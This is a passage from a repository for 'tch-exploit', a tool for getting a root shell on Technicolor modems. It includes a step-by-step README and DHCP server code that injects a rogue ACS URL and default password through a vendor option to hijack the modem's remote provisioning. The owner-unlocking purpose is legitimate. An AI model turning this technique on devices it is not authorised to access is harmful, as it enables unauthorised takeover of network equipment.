├── .gitignore ├── LICENSE ├── README.md ├── dist ├── args.js ├── ask.js ├── dhcp │ ├── constants.js │ ├── index.js │ ├── lease.js │ ├── options.js │ ├── protocol.js │ ├── seqbuffer.js │ ├── server.js │ └── tools.js ├── dns.js ├── get-port.js ├── http │ ├── cwmp │ │ ├── index.js │ │ └── xml.js │ ├── file.js │ ├── index.js │ └── router.js ├── index.js ├── ips.js ├── ntp │ ├── client.js │ ├── index.js │ ├── packet.js │ ├── server.js │ └── server2.js ├── port.js └── tftp.js ├── images ├── IP_address.jpg ├── finished.jpg ├── ipconfig.jpg ├── press_WPS.jpg ├── screen1.jpg ├── screen2.jpg └── tch-exploit-win.jpg ├── package-lock.json ├── package.json └── src ├── args.coffee ├── ask.coffee ├── dhcp ├── constants.coffee ├── index.coffee ├── lease.coffee ├── options.coffee ├── protocol.coffee ├── seqbuffer.coffee ├── server.coffee └── tools.coffee ├── dns.coffee ├── get-port.coffee ├── http ├── cwmp │ ├── index.coffee │ └── xml.coffee ├── file.coffee ├── index.coffee └── router.coffee ├── index.coffee ├── ips.coffee ├── ntp ├── client.coffee ├── index.coffee ├── packet.coffee ├── server.coffee └── server2.coffee └── tftp.coffee /.gitignore: -------------------------------------------------------------------------------- 1 | tch-exploit-linux.zip 2 | tch-exploit-macos.zip 3 | tch-exploit-win.zip 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Nathan Bolam 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Technicolor OpenWRT Shell Unlocker By BoLaMN 2 | 3 | * Connect network cable from your computer to the WAN (red) port of the modem 4 | * Change your computers network card to be a static ip address 5 | 6 | IPv4 Address: 58.162.0.1 7 | Subnet Mask: 255.255.255.0 8 | Default Gateway\\Router: 58.162.0.1 9 | 10 | Run as admin or sudo as it needs permission to bind on ports lower then 1024 11 | 12 | avaliable *optional* arguments --acspass, --acsurl, --dhcponly, --ip, --port, -—tftp, --file, -—file-type 13 | 14 | ## if you are a n00b, go here 15 | 16 | 17 | ## building (if you’re extending functionality) 18 | 19 | ``` 20 | npm install pkg coffee-script -g 21 | npm install 22 | npm run compile 23 | npm run package 24 | ``` 25 | ## Full example with Windows and Technicolor DJA0231 26 | 27 | Connect your PC's Ethernet port to the modem's WAN port and configure your PC's static IP address accordingly: 28 | 29 | ![alt text](images/IP_address.jpg) 30 | 31 | From a command prompt confirm with `ipconfig`. Note that the default gateway did not apply due to it being the same IP address as the PC's 32 | 33 | ![alt text](images/ipconfig.jpg) 34 | 35 | Run `tch-exploit-win` from a command prompt. You should get the following screen: 36 | 37 | ![alt text](images/tch-exploit-win.jpg) 38 | 39 | At this point you have to wait bit, might be 20 sec or can even be over 1 min. But the screen starts to fill up like so: 40 | 41 | ![alt text](images/screen1.jpg) 42 | 43 | Another 40-50 sec the screen then fills up more with green text: 44 | 45 | ![alt text](images/screen2.jpg) 46 | 47 | After another 5-6 sec or so it prompts you to press the WPS button: 48 | 49 | ![alt text](images/press_WPS.jpg) 50 | 51 | Now you press and hold the WPS button for around 3 sec before releasing. On the modem it is the **PAIR** button with two arrows. That button should start to flash and within a couple of seconds the screen says everything is done: 52 | 53 | ![alt text](images/finished.jpg) 54 | 55 | Now you can unplug the Ethernet cable from the WAN port and insert it into one of the LAN ports. Change your PC back to DHCP and then putty to 192.168.0.1 and login as root/root 56 | 57 | 58 | License: MIT 59 | -------------------------------------------------------------------------------- /dist/args.js: -------------------------------------------------------------------------------- 1 | var snakeToCamel; 2 | 3 | snakeToCamel = function(s) { 4 | return s.replace(/(\-\w)/g, function(m) { 5 | return m[1].toUpperCase(); 6 | }); 7 | }; 8 | 9 | module.exports = process.argv.slice(2, process.argv.length).reduce(function(args, str) { 10 | var arg, flag, value; 11 | arg = str.split('='); 12 | flag = arg[0].slice(2, arg[0].length); 13 | value = arg[1] || true; 14 | args[snakeToCamel(flag)] = value; 15 | return args; 16 | }, {}); 17 | -------------------------------------------------------------------------------- /dist/ask.js: -------------------------------------------------------------------------------- 1 | var ips, networkInterfaces, readline; 2 | 3 | networkInterfaces = require('os').networkInterfaces; 4 | 5 | ips = require('./ips'); 6 | 7 | readline = require('readline').createInterface({ 8 | input: process.stdin, 9 | output: process.stdout 10 | }); 11 | 12 | module.exports = function(ip) { 13 | var addr, check, interval, p; 14 | interval = null; 15 | addr = []; 16 | check = function() { 17 | addr = ips(); 18 | return addr.find(function(arg) { 19 | var address; 20 | address = arg.address; 21 | return address === ip; 22 | }); 23 | }; 24 | p = new Promise(function(resolve, reject) { 25 | var ask; 26 | ask = function() { 27 | var add; 28 | add = check(); 29 | if (add) { 30 | return resolve(add); 31 | } 32 | console.log("Could not find interface with ip: " + ip); 33 | console.table(addr); 34 | return readline.question("Select network interface: ", function(idx) { 35 | if (addr[idx] == null) { 36 | console.log('Unknown index: ' + idx); 37 | return ask(); 38 | } 39 | if (addr[idx].address !== ip) { 40 | return ask(); 41 | } 42 | return resolve(addr[idx]); 43 | }); 44 | }; 45 | interval = setInterval(function() { 46 | var add; 47 | add = check(); 48 | if (add) { 49 | return resolve(add); 50 | } 51 | }, 2000); 52 | return ask(); 53 | }); 54 | p.then(function(add) { 55 | console.log("using interface", add); 56 | clearInterval(interval); 57 | return readline.close(); 58 | }); 59 | return p; 60 | }; 61 | -------------------------------------------------------------------------------- /dist/dhcp/constants.js: -------------------------------------------------------------------------------- 1 | module.exports = { 2 | DHCPDISCOVER: 1, 3 | DHCPOFFER: 2, 4 | DHCPREQUEST: 3, 5 | DHCPDECLINE: 4, 6 | DHCPACK: 5, 7 | DHCPNAK: 6, 8 | DHCPRELEASE: 7, 9 | DHCPINFORM: 8, 10 | SERVER_PORT: 67, 11 | CLIENT_PORT: 68, 12 | INADDR_ANY: '0.0.0.0', 13 | INADDR_BROADCAST: '255.255.255.255', 14 | BOOTREQUEST: 1, 15 | BOOTREPLY: 2, 16 | DHCPV6: { 17 | MESSAGETYPE: { 18 | 1: 'SOLICIT', 19 | 2: 'ADVERTISE', 20 | 3: 'REQUEST', 21 | 4: 'CONFIRM', 22 | 5: 'RENEW', 23 | 6: 'REBIND', 24 | 7: 'REPLY', 25 | 8: 'RELEASE', 26 | 9: 'DECLINE', 27 | 10: 'RECONFIGURE', 28 | 11: 'INFORMATION_REQUEST', 29 | 12: 'RELAY_FORW', 30 | 13: 'RELAY_REPL' 31 | }, 32 | OPTIONS: { 33 | 1: 'CLIENTID', 34 | 2: 'SERVERID', 35 | 3: 'IA_NA', 36 | 4: 'IA_TA', 37 | 5: 'IAADDR', 38 | 6: 'ORO', 39 | 7: 'PREFERENCE', 40 | 8: 'ELAPSED_TIME', 41 | 9: 'RELAY_MSG', 42 | 11: 'AUTH', 43 | 12: 'UNICAST', 44 | 13: 'STATUS_CODE', 45 | 14: 'RAPID_COMMIT', 46 | 15: 'USER_CLASS', 47 | 16: 'VENDOR_CLASS', 48 | 17: 'VENDOR_OPTS', 49 | 18: 'INTERFACE_ID', 50 | 19: 'RECONF_MSG', 51 | 20: 'RECONF_ACCEPT', 52 | 21: 'SIP_SERVER_D', 53 | 22: 'SIP_SERVER_A', 54 | 23: 'DNS_SERVERS', 55 | 24: 'DOMAIN_LIST', 56 | 25: 'IA_PD', 57 | 26: 'IAPREFIX', 58 | 27: 'NIS_SERVERS', 59 | 28: 'NISP_SERVERS', 60 | 29: 'NIS_DOMAIN_NAME', 61 | 30: 'NISP_DOMAIN_NAME', 62 | 31: 'SNTP_SERVERS', 63 | 32: 'INFORMATION_REFRESH_TIME', 64 | 33: 'BCMCS_SERVER_D', 65 | 34: 'BCMCS_SERVER_A', 66 | 36: 'GEOCONF_CIVIC', 67 | 37: 'REMOTE_ID', 68 | 38: 'SUBSCRIBER_ID', 69 | 39: 'CLIENT_FQDN', 70 | 40: 'PANA_AGENT', 71 | 41: 'NEW_POSIX_TIMEZONE', 72 | 42: 'NEW_TZDB_TIMEZONE', 73 | 43: 'ERO', 74 | 44: 'LQ_QUERY', 75 | 45: 'CLIENT_DATA', 76 | 46: 'CLT_TIME', 77 | 47: 'LQ_RELAY_DATA', 78 | 48: 'LQ_CLIENT_LINK', 79 | 49: 'MIP6_HNIDF', 80 | 50: 'MIP6_VDINF', 81 | 51: 'V6_LOST', 82 | 52: 'CAPWAP_AC_V6', 83 | 53: 'RELAY_ID', 84 | 54: 'IPv6AddressMoS', 85 | 55: 'IPv6FQDNMoS', 86 | 56: 'NTP_SERVER', 87 | 57: 'V6_ACCESS_DOMAIN', 88 | 58: 'SIP_UA_CS_LIST', 89 | 59: 'BOOTFILE_URL', 90 | 79: 'CLIENT_LINKLAYER_ADDR' 91 | } 92 | } 93 | }; 94 | -------------------------------------------------------------------------------- /dist/dhcp/index.js: -------------------------------------------------------------------------------- 1 | var path, server, toHexArray; 2 | 3 | server = require('./server'); 4 | 5 | path = require('path'); 6 | 7 | toHexArray = function(str) { 8 | return str.split('').map(function(d, i) { 9 | return str.charCodeAt(i); 10 | }); 11 | }; 12 | 13 | module.exports = function(ip, acsurl, acspass) { 14 | var vendor; 15 | ip = ip.split('.'); 16 | ip.pop(); 17 | ip = ip.join('.'); 18 | acsurl = toHexArray(acsurl); 19 | acspass = acspass ? toHexArray(acspass) : [84, 101, 108, 115, 116, 114, 97]; 20 | vendor = [1, acsurl.length].concat(acsurl.concat([2, acspass.length].concat(acspass))); 21 | server.createServer({ 22 | range: [ip + '.10', ip + '.15'], 23 | forceOptions: ['router', 'hostname', 'vendor'], 24 | randomIP: true, 25 | vendor: vendor, 26 | netmask: '255.255.255.0', 27 | router: [ip + '.1'], 28 | hostname: 'second.gateway', 29 | broadcast: ip + '.255', 30 | server: ip + '.1' 31 | }).on('listening', function(sock, type) { 32 | var address, port, ref; 33 | ref = sock.address(), address = ref.address, port = ref.port; 34 | return console.log("Waiting for DHCP" + type + " request... " + address + ":" + port); 35 | }).on('message', function(data) { 36 | return console.log('### MESSAGE', JSON.stringify(data)); 37 | }).on('bound', function(state, ans) { 38 | return console.log('### BOUND', JSON.stringify(state)); 39 | }).on('error', function(err, data) { 40 | if (!data) { 41 | return; 42 | } 43 | return console.log('!!! ERROR', err, data); 44 | }).listen(67); 45 | return server; 46 | }; 47 | -------------------------------------------------------------------------------- /dist/dhcp/lease.js: -------------------------------------------------------------------------------- 1 | var Lease; 2 | 3 | Lease = (function() { 4 | function Lease() {} 5 | 6 | Lease.prototype.bindTime = null; 7 | 8 | Lease.prototype.leasePeriod = 86400; 9 | 10 | Lease.prototype.renewPeriod = 1440; 11 | 12 | Lease.prototype.rebindPeriod = 14400; 13 | 14 | Lease.prototype.state = null; 15 | 16 | Lease.prototype.server = null; 17 | 18 | Lease.prototype.address = null; 19 | 20 | Lease.prototype.options = null; 21 | 22 | Lease.prototype.tries = 0; 23 | 24 | Lease.prototype.xid = 1; 25 | 26 | return Lease; 27 | 28 | })(); 29 | 30 | module.exports = Lease; 31 | -------------------------------------------------------------------------------- /dist/dhcp/options.js: -------------------------------------------------------------------------------- 1 | var Tools, attr, conf, i, opts, v; 2 | 3 | Tools = require('./tools'); 4 | 5 | opts = { 6 | 1: { 7 | name: 'Subnet Mask', 8 | type: 'IP', 9 | config: 'netmask', 10 | "default": function() { 11 | var net, range; 12 | range = this.config('range'); 13 | net = Tools.netmaskFromRange(range[0], range[1]); 14 | return Tools.formatIp(net); 15 | } 16 | }, 17 | 2: { 18 | name: 'Time Offset', 19 | type: 'Int32', 20 | config: 'timeOffset' 21 | }, 22 | 3: { 23 | name: 'Router', 24 | type: 'IPs', 25 | config: 'router', 26 | "default": function() { 27 | var range; 28 | range = this.config('range'); 29 | return range[0]; 30 | } 31 | }, 32 | 4: { 33 | name: 'Time Server', 34 | type: 'IPs', 35 | config: 'timeServer' 36 | }, 37 | 5: { 38 | name: 'Name Server', 39 | type: 'IPs', 40 | config: 'nameServer' 41 | }, 42 | 6: { 43 | name: 'Domain Name Server', 44 | type: 'IPs', 45 | config: 'dns', 46 | "default": ['8.8.8.8', '8.8.4.4'] 47 | }, 48 | 7: { 49 | name: 'Log Server', 50 | type: 'IPs', 51 | config: 'logServer' 52 | }, 53 | 8: { 54 | name: 'Cookie Server', 55 | type: 'IPs', 56 | config: 'cookieServer' 57 | }, 58 | 9: { 59 | name: 'LPR Server', 60 | type: 'IPs', 61 | config: 'lprServer' 62 | }, 63 | 10: { 64 | name: 'Impress Server', 65 | type: 'IPs', 66 | config: 'impressServer' 67 | }, 68 | 11: { 69 | name: 'Resource Location Server', 70 | type: 'IPs', 71 | config: 'rscServer' 72 | }, 73 | 12: { 74 | name: 'Host Name', 75 | type: 'ASCII', 76 | config: 'hostname' 77 | }, 78 | 13: { 79 | name: 'Boot File Size', 80 | type: 'UInt16', 81 | config: 'bootFileSize' 82 | }, 83 | 14: { 84 | name: 'Merit Dump File', 85 | type: 'ASCII', 86 | config: 'dumpFile' 87 | }, 88 | 15: { 89 | name: 'Domain Name', 90 | type: 'ASCII', 91 | config: 'domainName' 92 | }, 93 | 16: { 94 | name: 'Swap Server', 95 | type: 'IP', 96 | config: 'swapServer' 97 | }, 98 | 17: { 99 | name: 'Root Path', 100 | type: 'ASCII', 101 | config: 'rootPath' 102 | }, 103 | 18: { 104 | name: 'Extension Path', 105 | type: 'ASCII', 106 | config: 'extensionPath' 107 | }, 108 | 19: { 109 | name: 'IP Forwarding', 110 | type: 'UInt8', 111 | config: 'ipForwarding', 112 | "enum": { 113 | 0: 'Disabled', 114 | 1: 'Enabled' 115 | } 116 | }, 117 | 20: { 118 | name: 'Non-Local Source Routing', 119 | type: 'Bool', 120 | config: 'nonLocalSourceRouting' 121 | }, 122 | 21: { 123 | name: 'Policy Filter', 124 | type: 'IPs', 125 | config: 'policyFilter' 126 | }, 127 | 22: { 128 | name: 'Maximum Datagram Reassembly Size', 129 | type: 'UInt16', 130 | config: 'maxDatagramSize' 131 | }, 132 | 23: { 133 | name: 'Default IP Time-to-live', 134 | type: 'UInt8', 135 | config: 'datagramTTL' 136 | }, 137 | 24: { 138 | name: 'Path MTU Aging Timeout', 139 | type: 'UInt32', 140 | config: 'mtuTimeout' 141 | }, 142 | 25: { 143 | name: 'Path MTU Plateau Table', 144 | type: 'UInt16s', 145 | config: 'mtuSizes' 146 | }, 147 | 26: { 148 | name: 'Interface MTU', 149 | type: 'UInt16', 150 | config: 'mtuInterface' 151 | }, 152 | 27: { 153 | name: 'All Subnets are Local', 154 | type: 'UInt8', 155 | config: 'subnetsAreLocal', 156 | "enum": { 157 | 0: 'Disabled', 158 | 1: 'Enabled' 159 | } 160 | }, 161 | 28: { 162 | name: 'Broadcast Address', 163 | type: 'IP', 164 | config: 'broadcast', 165 | "default": function() { 166 | var cidr, ip, range; 167 | range = this.config('range'); 168 | ip = range[0]; 169 | cidr = Tools.CIDRFromNetmask(this.config('netmask')); 170 | return Tools.formatIp(Tools.broadcastFromIpCIDR(ip, cidr)); 171 | } 172 | }, 173 | 29: { 174 | name: 'Perform Mask Discovery', 175 | type: 'UInt8', 176 | config: 'maskDiscovery', 177 | "enum": { 178 | 0: 'Disabled', 179 | 1: 'Enabled' 180 | } 181 | }, 182 | 30: { 183 | name: 'Mask Supplier', 184 | type: 'UInt8', 185 | config: 'maskSupplier', 186 | "enum": { 187 | 0: 'Disabled', 188 | 1: 'Enabled' 189 | } 190 | }, 191 | 31: { 192 | name: 'Perform Router Discovery', 193 | type: 'UInt8', 194 | config: 'routerDiscovery', 195 | "enum": { 196 | 0: 'Disabled', 197 | 1: 'Enabled' 198 | } 199 | }, 200 | 32: { 201 | name: 'Router Solicitation Address', 202 | type: 'IP', 203 | config: 'routerSolicitation' 204 | }, 205 | 33: { 206 | name: 'Static Route', 207 | type: 'IPs', 208 | config: 'staticRoutes' 209 | }, 210 | 34: { 211 | name: 'Trailer Encapsulation', 212 | type: 'Bool', 213 | config: 'trailerEncapsulation' 214 | }, 215 | 35: { 216 | name: 'ARP Cache Timeout', 217 | type: 'UInt32', 218 | config: 'arpCacheTimeout' 219 | }, 220 | 36: { 221 | name: 'Ethernet Encapsulation', 222 | type: 'Bool', 223 | config: 'ethernetEncapsulation' 224 | }, 225 | 37: { 226 | name: 'TCP Default TTL', 227 | type: 'UInt8', 228 | config: 'tcpTTL' 229 | }, 230 | 38: { 231 | name: 'TCP Keepalive Interval', 232 | type: 'UInt32', 233 | config: 'tcpKeepalive' 234 | }, 235 | 39: { 236 | name: 'TCP Keepalive Garbage', 237 | type: 'Bool', 238 | config: 'tcpKeepaliveGarbage' 239 | }, 240 | 40: { 241 | name: 'Network Information Service Domain', 242 | type: 'ASCII', 243 | config: 'nisDomain' 244 | }, 245 | 41: { 246 | name: 'Network Information Servers', 247 | type: 'IPs', 248 | config: 'nisServer' 249 | }, 250 | 42: { 251 | name: 'Network Time Protocol Servers', 252 | type: 'IPs', 253 | config: 'ntpServer' 254 | }, 255 | 43: { 256 | name: 'Vendor Specific Information', 257 | type: 'UInt8s', 258 | config: 'vendor' 259 | }, 260 | 44: { 261 | name: 'NetBIOS over TCP/IP Name Server', 262 | type: 'IPs', 263 | config: 'nbnsServer' 264 | }, 265 | 45: { 266 | name: 'NetBIOS over TCP/IP Datagram Distribution Server', 267 | type: 'IP', 268 | config: 'nbddServer' 269 | }, 270 | 46: { 271 | name: 'NetBIOS over TCP/IP Node Type', 272 | type: 'UInt8', 273 | "enum": { 274 | 0x1: 'B-node', 275 | 0x2: 'P-node', 276 | 0x4: 'M-node', 277 | 0x8: 'H-node' 278 | }, 279 | config: 'nbNodeType' 280 | }, 281 | 47: { 282 | name: 'NetBIOS over TCP/IP Scope', 283 | type: 'ASCII', 284 | config: 'nbScope' 285 | }, 286 | 48: { 287 | name: 'X Window System Font Server', 288 | type: 'IPs', 289 | config: 'xFontServer' 290 | }, 291 | 49: { 292 | name: 'X Window System Display Manager', 293 | type: 'IPs', 294 | config: 'xDisplayManager' 295 | }, 296 | 50: { 297 | name: 'Requested IP Address', 298 | type: 'IP', 299 | attr: 'requestedIpAddress' 300 | }, 301 | 51: { 302 | name: 'IP Address Lease Time', 303 | type: 'UInt32', 304 | config: 'leaseTime', 305 | "default": 86400 306 | }, 307 | 52: { 308 | name: 'Option Overload', 309 | type: 'UInt8', 310 | "enum": { 311 | 1: 'file', 312 | 2: 'sname', 313 | 3: 'both' 314 | } 315 | }, 316 | 53: { 317 | name: 'DHCP Message Type', 318 | type: 'UInt8', 319 | "enum": { 320 | 1: 'DHCPDISCOVER', 321 | 2: 'DHCPOFFER', 322 | 3: 'DHCPREQUEST', 323 | 4: 'DHCPDECLINE', 324 | 5: 'DHCPACK', 325 | 6: 'DHCPNAK', 326 | 7: 'DHCPRELEASE', 327 | 8: 'DHCPINFORM' 328 | } 329 | }, 330 | 54: { 331 | name: 'Server Identifier', 332 | type: 'IP', 333 | config: 'server' 334 | }, 335 | 55: { 336 | name: 'Parameter Request List', 337 | type: 'UInt8s', 338 | attr: 'requestParameter' 339 | }, 340 | 56: { 341 | name: 'Message', 342 | type: 'ASCII' 343 | }, 344 | 57: { 345 | name: 'Maximum DHCP Message Size', 346 | type: 'UInt16', 347 | config: 'maxMessageSize', 348 | "default": 1500 349 | }, 350 | 58: { 351 | name: 'Renewal (T1) Time Value', 352 | type: 'UInt32', 353 | config: 'renewalTime', 354 | "default": 3600 355 | }, 356 | 59: { 357 | name: 'Rebinding (T2) Time Value', 358 | type: 'UInt32', 359 | config: 'rebindingTime', 360 | "default": 14400 361 | }, 362 | 60: { 363 | name: 'Vendor Class-Identifier', 364 | type: 'ASCII', 365 | attr: 'vendorClassId', 366 | config: 'vendorClassId' 367 | }, 368 | 61: { 369 | name: 'Client-Identifier', 370 | type: 'ASCII', 371 | attr: 'clientId' 372 | }, 373 | 64: { 374 | name: 'Network Information Service+ Domain', 375 | type: 'ASCII', 376 | config: 'nisPlusDomain' 377 | }, 378 | 65: { 379 | name: 'Network Information Service+ Servers', 380 | type: 'IPs', 381 | config: 'nisPlusServer' 382 | }, 383 | 66: { 384 | name: 'TFTP server name', 385 | type: 'ASCII', 386 | config: 'tftpServer' 387 | }, 388 | 67: { 389 | name: 'Bootfile name', 390 | type: 'ASCII', 391 | config: 'bootFile' 392 | }, 393 | 68: { 394 | name: 'Mobile IP Home Agent', 395 | type: 'ASCII', 396 | config: 'homeAgentAddresses' 397 | }, 398 | 69: { 399 | name: 'Simple Mail Transport Protocol (SMTP) Server', 400 | type: 'IPs', 401 | config: 'smtpServer' 402 | }, 403 | 70: { 404 | name: 'Post Office Protocol (POP3) Server', 405 | type: 'IPs', 406 | config: 'pop3Server' 407 | }, 408 | 71: { 409 | name: 'Network News Transport Protocol (NNTP) Server', 410 | type: 'IPs', 411 | config: 'nntpServer' 412 | }, 413 | 72: { 414 | name: 'Default World Wide Web (WWW) Server', 415 | type: 'IPs', 416 | config: 'wwwServer' 417 | }, 418 | 73: { 419 | name: 'Default Finger Server', 420 | type: 'IPs', 421 | config: 'fingerServer' 422 | }, 423 | 74: { 424 | name: 'Default Internet Relay Chat (IRC) Server', 425 | type: 'IPs', 426 | config: 'ircServer' 427 | }, 428 | 75: { 429 | name: 'StreetTalk Server', 430 | type: 'IPs', 431 | config: 'streetTalkServer' 432 | }, 433 | 76: { 434 | name: 'StreetTalk Directory Assistance (STDA) Server', 435 | type: 'IPs', 436 | config: 'streetTalkDAServer' 437 | }, 438 | 80: { 439 | name: 'Rapid Commit', 440 | type: 'Bool', 441 | attr: 'rapidCommit' 442 | }, 443 | 93: { 444 | name: 'Client System', 445 | type: 'HEX', 446 | config: 'clientSystem' 447 | }, 448 | 94: { 449 | name: 'Client NDI', 450 | type: 'HEX', 451 | attr: 'clientNdi', 452 | config: 'clientNdi' 453 | }, 454 | 97: { 455 | name: 'UUID/GUID', 456 | type: 'HEX', 457 | config: 'uuidGuid' 458 | }, 459 | 116: { 460 | name: 'Auto-Configure', 461 | type: 'UInt8', 462 | "enum": { 463 | 0: 'DoNotAutoConfigure', 464 | 1: 'AutoConfigure' 465 | }, 466 | attr: 'autoConfigure' 467 | }, 468 | 118: { 469 | name: 'Subnet Selection', 470 | type: 'IP', 471 | config: 'subnetSelection' 472 | }, 473 | 119: { 474 | name: 'Domain Search List', 475 | type: 'ASCII', 476 | config: 'domainSearchList' 477 | }, 478 | 121: { 479 | name: 'Classless Route Option Format', 480 | type: 'IPs', 481 | config: 'classlessRoute' 482 | }, 483 | 145: { 484 | name: 'Forcerenew Nonce', 485 | type: 'UInt8s', 486 | attr: 'renewNonce' 487 | }, 488 | 252: { 489 | name: 'Web Proxy Auto-Discovery', 490 | type: 'ASCII', 491 | config: 'wpad' 492 | }, 493 | 1001: { 494 | name: 'Static', 495 | config: 'static' 496 | }, 497 | 1002: { 498 | name: 'Random IP', 499 | type: 'Bool', 500 | config: 'randomIP', 501 | "default": true 502 | } 503 | }; 504 | 505 | conf = {}; 506 | 507 | attr = {}; 508 | 509 | for (i in opts) { 510 | v = opts[i]; 511 | if (v.config) { 512 | conf[v.config] = parseInt(i, 10); 513 | } else if (v.attr) { 514 | conf[v.attr] = parseInt(i, 10); 515 | } 516 | } 517 | 518 | module.exports = { 519 | opts: opts, 520 | conf: conf, 521 | attr: attr 522 | }; 523 | -------------------------------------------------------------------------------- /dist/dhcp/protocol.js: -------------------------------------------------------------------------------- 1 | var SeqBuffer; 2 | 3 | SeqBuffer = require('./seqbuffer'); 4 | 5 | module.exports = { 6 | parse: function(buf) { 7 | var hlen, htype, sb; 8 | if (buf.length < 230) { 9 | throw new Error('Received data is too short'); 10 | } 11 | sb = new SeqBuffer(buf); 12 | return { 13 | op: sb.getUInt8(), 14 | htype: htype = sb.getUInt8(), 15 | hlen: hlen = sb.getUInt8(), 16 | hops: sb.getUInt8(), 17 | xid: sb.getUInt32(), 18 | secs: sb.getUInt16(), 19 | flags: sb.getUInt16(), 20 | ciaddr: sb.getIP(), 21 | yiaddr: sb.getIP(), 22 | siaddr: sb.getIP(), 23 | giaddr: sb.getIP(), 24 | chaddr: sb.getMAC(htype, hlen), 25 | sname: sb.getUTF8(64), 26 | file: sb.getUTF8(128), 27 | magicCookie: sb.getUInt32(), 28 | options: sb.getOptions() 29 | }; 30 | }, 31 | format: function(data) { 32 | var sb; 33 | sb = new SeqBuffer; 34 | sb.addUInt8(data.op); 35 | sb.addUInt8(data.htype); 36 | sb.addUInt8(data.hlen); 37 | sb.addUInt8(data.hops); 38 | sb.addUInt32(data.xid); 39 | sb.addUInt16(data.secs); 40 | sb.addUInt16(data.flags); 41 | sb.addIP(data.ciaddr); 42 | sb.addIP(data.yiaddr); 43 | sb.addIP(data.siaddr); 44 | sb.addIP(data.giaddr); 45 | sb.addMac(data.chaddr); 46 | sb.addUTF8Pad(data.sname, 64); 47 | sb.addUTF8Pad(data.file, 128); 48 | sb.addUInt32(0x63825363); 49 | sb.addOptions(data.options); 50 | sb.addUInt8(255); 51 | return sb; 52 | }, 53 | parseIpv6: function(msg, rinfo) { 54 | var DUIDType, codeName, hopCount, i, i6, iBuf, interfaceID, linkAddress, linkHex, linkPre, num, o, offset, optionCode, optionLen, options, peerAddress, peerHex, peerPre, prot, readAddressRaw, relayBuf, xid; 55 | options = { 56 | op: msg.readUInt8(0) 57 | }; 58 | offset = 0; 59 | readAddressRaw = function(msg, offset, len) { 60 | var addr, b; 61 | addr = ''; 62 | while (len-- > 0) { 63 | b = msg.readUInt8(offset++); 64 | addr += (b + 0x100).toString(16).substr(-2); 65 | if (len > 0) { 66 | addr += ':'; 67 | } 68 | } 69 | return addr; 70 | }; 71 | if (options.op === 12) { 72 | hopCount = msg.readUInt8(1); 73 | linkAddress = ''; 74 | i = 2; 75 | while (i < 18) { 76 | if (i !== 2) { 77 | linkAddress = linkAddress + ':'; 78 | } 79 | linkHex = msg.readUInt16BE(i).toString(16); 80 | linkPre = (function() { 81 | switch (linkHex.length) { 82 | case 3: 83 | return '0'; 84 | case 2: 85 | return '00'; 86 | case 1: 87 | return '000'; 88 | default: 89 | return ''; 90 | } 91 | })(); 92 | linkAddress = linkAddress + linkPre + linkHex; 93 | i = i + 2; 94 | } 95 | linkAddress = linkAddress; 96 | peerAddress = ''; 97 | o = 18; 98 | while (o < 34) { 99 | if (o !== 18) { 100 | peerAddress = peerAddress + ':'; 101 | } 102 | peerHex = msg.readUInt16BE(o).toString(16); 103 | peerPre = (function() { 104 | switch (peerHex.length) { 105 | case 3: 106 | return '0'; 107 | case 2: 108 | return '00'; 109 | case 1: 110 | return '000'; 111 | default: 112 | return ''; 113 | } 114 | })(); 115 | peerAddress = peerAddress + peerPre + peerHex; 116 | o = o + 2; 117 | } 118 | peerAddress = peerAddress; 119 | offset = 33; 120 | } else { 121 | xid = msg.readUInt8(1).toString(16) + msg.readUInt8(2).toString(16) + msg.readUInt8(3).toString(16); 122 | options.xid = (function() { 123 | switch (xid.length) { 124 | case 1: 125 | return '00000' + xid; 126 | case 2: 127 | return '0000' + xid; 128 | case 3: 129 | return '000' + xid; 130 | case 4: 131 | return '00' + xid; 132 | case 5: 133 | return '0' + xid; 134 | } 135 | })(); 136 | offset = 3; 137 | } 138 | while (offset < msg.length - 1) { 139 | optionCode = msg.readInt16BE(offset + 1); 140 | optionLen = msg.readInt16BE(offset + 3); 141 | offset = offset + 4; 142 | switch (optionCode) { 143 | case 1: 144 | DUIDType = msg.readUInt16BE(offset + 1); 145 | iBuf = new Buffer(optionLen); 146 | msg.copy(iBuf, 0, offset + 1, offset + 1 + optionLen); 147 | options.clientIdentifierOption = (function() { 148 | switch (DUIDType) { 149 | case 1: 150 | return { 151 | buffer: iBuf, 152 | DUIDType: DUIDType, 153 | hardwareType: msg.readUInt16BE(offset + 3), 154 | time: msg.readUInt32BE(offset + 5), 155 | linkLayerAddress: readAddressRaw(msg, offset + 9, optionLen - 8) 156 | }; 157 | case 2: 158 | return { 159 | buffer: iBuf, 160 | DUIDType: DUIDType, 161 | enterpriseNumber: void 0, 162 | enterpriseNumberContd: void 0, 163 | identifier: void 0 164 | }; 165 | case 3: 166 | return { 167 | buffer: iBuf, 168 | DUIDType: DUIDType, 169 | hardwareType: msg.readUInt16BE(offset + 3), 170 | linkLayerAddress: readAddressRaw(msg, offset + 5, optionLen - 4) 171 | }; 172 | } 173 | })(); 174 | offset += optionLen; 175 | break; 176 | case 2: 177 | DUIDType = msg.readUInt16BE(offset + 1); 178 | iBuf = new Buffer(optionLen); 179 | msg.copy(iBuf, 0, offset + 1, offset + 1 + optionLen); 180 | options.serverIdentifierOption = (function() { 181 | switch (DUIDType) { 182 | case 1: 183 | return { 184 | buffer: iBuf, 185 | DUIDType: 